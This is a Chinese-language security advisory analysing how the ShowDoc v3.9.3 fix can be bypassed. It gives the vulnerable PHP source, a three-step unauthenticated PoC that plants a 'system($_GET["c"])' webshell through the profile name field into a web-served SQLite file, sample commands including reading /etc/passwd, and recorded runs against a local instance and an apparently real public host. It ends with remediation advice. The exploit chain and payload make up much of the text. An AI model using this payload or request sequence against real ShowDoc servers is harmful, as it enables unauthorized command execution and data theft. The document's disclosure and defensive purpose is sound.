ShowDoc v3.9.3 官方修复绕过专项分析(name 列注入 RCE)
版本:v3.9.3(官方宣称已修复 commit
2053c3cd0f)
结论:v3.9.3 的 username 白名单可被绕过,默认部署仍可未授权链路实现任意命令执行。
已在本地 v3.9.3 与公网实机(xxx.com:11081)端到端复现。
1. 官方修复内容(v3.9.3,commit 2053c3cd0f)
server/app/Api/Controller/UserController.php 在 login() 与 registerByVerify() 两处
对入参 username 增加白名单:
if (!preg_match('/^[a-zA-Z0-9_\-\x{4e00}-\x{9fa5}]{2,30}$/u', $username)) {
return $this->error($response, 10101, '用户名只允许字母、数字、下划线、横线、中文,2-30个字符');
}
效果:注册/登录入口拒绝含 <?、(,),;,$,", 等字符的 username,
直接封死"恶意 username 入库"这一原始利用形态。
2. 为什么修复不完整(代码层)
本漏洞本质是:"user 表中任意一列的原始字节进入库文件前部" + "库文件可被 PHP 执行"。
修复只覆盖了 username 一个字段的两个入口:
| 写入点 | 是否过滤 | 可达性 |
|---|---|---|
registerByVerify() 的 username(3.9.3 已加白名单) |
✅ | 未授权 |
login() 的 username(3.9.3 已加白名单) |
✅ | 未授权(不入库) |
updateInfo() 的 name(昵称) |
❌ 零过滤 | 任意登录用户 |
Model/User::register()(模型层) |
❌ | 所有 register 调用方 |
ExtLogin::bySecretKey/oauth2/CAS 的 username/name |
❌ | 需管理员密钥 |
AdminUserController::addUser() 的 username/name |
❌ | 需管理员 |
其中 updateInfo 的 name 字段是唯一"任意注册用户即可写入、零过滤"的持久化点。
2.1 关键源码:v3.9.2 与 v3.9.3 完全一致
// server/app/Api/Controller/UserController.php
public function updateInfo(Request $request, Response $response): Response
{
$user = [];
if ($error = $this->requireLoginUser($request, $response, $user)) { return $error; }
$uid = (int) ($user['uid'] ?? 0);
$name = $this->getParam($request, 'name', ''); // ← 无正则、无长度限制
DB::table('user')->where('uid', $uid)->update(['name' => $name]); // ← 原样入库
return $this->success($response, []);
}
对应模型层 Model/User.php::updateName() 同样无校验:
public static function updateName(int $uid, string $name): bool
{
...
$affected = DB::table('user')->where('uid', $uid)->update(['name' => $name]);
return $affected > 0;
}
3. 为什么 name 列与 username 列等效(机制回顾)
RCE 触发条件只有两个,与"哪一列"无关:
- payload 字节(含
<?php)落在库文件中所有其它<?php之前; - payload 以
__halt_compiler();结尾,使文件后部(防下载记录等)不再参与编译。
user.name 与 user.username 是 user 表同一行的不同列,存放在同一 SQLite
B-tree 叶子页(默认 root 在第 4 页,文件偏移约 3072-4095)。默认部署首启建表迁移
(Upgrade.php 新增 26 张表:24→50 张)使 sqlite_master 重排,把"防下载表"记录
(表名 <?php ,字节在种子库偏移 929)推到 偏移 7073+;而 user 行落在其前。
因此:
文件布局(运行后的默认部署):
[0..100] sqlite 头
[page 4: 3072-4095] user 表叶子 ← 新用户行(username+name+password…都在这里)
└ name 列内含: <?php system($_GET["c"]);__halt_compiler();
[offset 7073+] 防下载表记录(<?php <?php 双标签)→ 被 __halt_compiler 屏蔽,永不编译
请求 /Sqlite/showdoc.db.php?c=id 时,PHP 从文件头开始解析,第一个 <?php 即
name 列中的 payload → system('id') 执行 → __halt_compiler(); 截断编译 →
HTTP 200 + 命令输出。
为什么必须
__halt_compiler:?>收尾的 payload 执行后编译会继续,撞上文件后部
防下载记录的<?php <?php双标签 → 整文件编译错误 → 500(此前大量失败皆源于此)。
4. 完整 PoC(v3.9.3)
4.1 手工请求序列
① 注册普通用户名(通过白名单,注册接口未授权):
POST /server/index.php?s=Api/User/registerByVerify
username=normalbypass01&password=Test@123456&confirm_password=Test@123456
&captcha_id=<验证码ID>&captcha=<识别结果>
→ {"error_code":0,"data":{"uid":N,"user_token":"<TOKEN>",…}}
② 注入 name(任意登录用户即可):
POST /server/index.php?s=Api/User/updateInfo
user_token=<TOKEN>&name=n<?php system($_GET["c"]);__halt_compiler();
→ {"error_code":0,"data":[]}
③ 触发:
GET /Sqlite/showdoc.db.php?c=id
→ HTTP 200,响应含 uid=…(application)…
4.2 payload 说明
| 组成 | 作用 |
|---|---|
n |
占位(避免列首字符干扰,任意字母即可) |
<?php |
打开 PHP 代码模式 |
system($_GET["c"]) |
直接命令执行,命令经 ?c= 传入 |
__halt_compiler(); |
终止编译,屏蔽其后全部 sqlite 字节/防下载双标签 |
其它可用命令:?c=hostname、?c=uname+-a、?c=cat+/etc/passwd(空格 URL 编码 + 或 %20)。
4.3 自动化脚本
见 _showdoc_dl/dbcheck/live393_bypass.py(ddddocr 多渲染投票过验证码 →
注册 → updateInfo → 触发一体)。
5. 实测证据
5.1 本地 v3.9.3(官方种子 + 真实代码 + 首启迁移)
register uid=2 username=normalbypass01 ✅ 通过白名单
updateInfo name=n<?php system($_GET["c"]);__halt_compiler();
sqlite3 确认入库:('normalbypass01','n<?php system($_GET["c"]);__halt_compiler();')
库文件:343040B,首个 <?php 偏移 3925(= payload),防下载记录 7073+
GET /Sqlite/showdoc.db.php?c=id → HTTP 200 → uid=501(mac) gid=20(staff)…
5.2 公网实机(xxx.com:11081,官方 v3.9.3 镜像)
[+] register OK uid=3 username=verify3934724 (captcha KZ32,ddddocr 投票)
[+] updateInfo error_code:0
[+] GET /Sqlite/showdoc.db.php?c=id → HTTP 200 → uid=1000(application)
[+] GET /Sqlite/showdoc.db.php?c=hostname → HTTP 200 → 2e059b9e59f2
[+] GET /Sqlite/showdoc.db.php?c=uname -a → HTTP 200 → Linux 2e059b9e59f2 6.8.0-31-generic …
证据文件:_showdoc_dl/rce_proof/393/(393_id.bin / 393_hostname.bin /
393_uname.bin / bypass_run.log)
6. 影响面(其它未过滤写入点)
即便将来给 name 也加了白名单,以下路径在 v3.9.3 仍未过滤,属于同族后门:
ExtLogin::bySecretKey:$name参数直接User::updateName($uid, $name)(需管理员
login_secret_key);ExtLogin::oauth2/CAS:provider 返回的 username/name 原样register()(需配置 SSO);AdminUser::addUser:username/name原样 register(需管理员)。
结论:只要"user 表可写入含 <?php 的原始字节"这个前提存在任意一条路径,本漏洞形态
就不会消失。逐字段加白名单是打地鼠,必须结构层修复。
7. 正确修复
7.1 结构层(治本,必做)
- nginx 拒绝 Sqlite 目录的 PHP 执行/访问:
location ^~ /Sqlite/ { deny all; } - 库文件移出 webroot 或用
DB_NAME指向外部路径; - 去掉
.php后缀并确保该扩展名不被 php-fpm 解析(注意历史 .bak/backup 副本一并处理)。
7.2 应用层(防绕过面)
- 对 所有 user 表字符串列(username、name、email、mobile…)统一白名单;
- 校验下沉到
Model/User::register()/updateName()/ 所有DB::table('user')->update()
调用点,统一拒绝<?、?>、__halt_compiler等特征; - 关闭注册(
register_open=0)可完全封堵本链(攻击者无法建立账号)。
7.3 运维层
- 升级到 v3.9.3 后仍需执行 1-5(v3.9.3 存在本绕过);
- 默认管理员 showdoc/123456 首登强制改密;
- 若已中招:检查 user 表 name/username 列、Sqlite 目录下 .bak/.backup 副本。
8. 附
- 主报告:
ShowDoc_v3.9.2_RCE_FullChain_Analysis.md(全链路,§6.7/§9.3/§9.4) - 工具:
_showdoc_dl/dbcheck/live393_bypass.py、live_register_dddd.py - 本漏洞的"防下载表"证据与运行布局变化详见主报告 §5-§6。
本文所有结论均基于两版源码 diff、sqlite 字节级取证与本地/实机端到端复现。